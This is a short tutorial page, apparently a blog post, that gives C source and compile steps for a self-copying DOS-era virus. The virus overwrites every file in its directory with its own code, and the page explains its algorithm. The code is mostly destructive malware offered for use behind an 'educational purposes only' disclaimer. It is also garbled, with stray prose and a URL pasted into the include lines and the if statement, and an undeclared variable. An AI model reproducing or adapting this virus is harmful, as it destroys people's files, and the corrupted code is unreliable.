Programming virus

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
Programming Virus : This is an small program virus that written in C language. The main purpose of this virus is spreading itself. When this program is executed it's start creating a copy of itself. This program infect all the other files of that directory in which it's executing. Thus, it destroy all other files by infecting them.

The best part of this program is that infected files will also become a virus. So, when the infected files will execute they also infect other files. In very short amount of time. This virus infect whole the computer files/folder and other devices that attached with that (such as pen drive, flash drive etc).

Steps to create this code to exe file.

  • Firstly, Open the ide or compiler (such as Turbo c or CodeBlocks).
  • Then copy the below codes on the new file and save with name virus.c.
  • compile the program.
  • That&s it.

Now your virus is ready.

Codes :

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>Thus, it destroy all other files by infecting them.
#include<conio.h>
#include<time.h>
FILE *v,*h;
int done,a=0;
unsigned long x;
char buf[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
v=fopen(_argv[0],"rb");
h=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next; x=89088;https://www.gohacking.com/create-computer-virus/
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048) {
fread(buf,2048,1,v);
fwrite(buf,2048,1,h);
x-=2048;
}
fread(buf,x,1,v);
fwrite(buf,x,1,h);
a++;
next: {
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK);
getch();
}

To testing your Virus

  • Create a folder.
  • Copy virus file and some other files for testing.
  • Now, Execute the virus in this folder.
  • After testing virus delete the folder.
  • That's all…

Working of Virus Program

The algorithm of the virus how its work to infect the files.

Step 1 –> Firstly, search the complete files in the current directory. If finds more than one files is present. Then loading the first file.

Step 2 –> Load the copy of itself(virus) onto the memory.

Step 3 –> After loading itself then open the first(target) file. Start copying the virus code from the memory and pasting it in the target file. When the copying process is finished close the file and move to the next file.

Step 4 –> Same way as the first file start loading the other files in the current directory to infect. Move to the step-3.

Step 5 –> After infecting all the files of the directory. Unload them from the memory and exit.

Batch Script virus that your System Meltdown

Please follow and like us:

Leave a Reply

Your email address will not be published. Required fields are marked *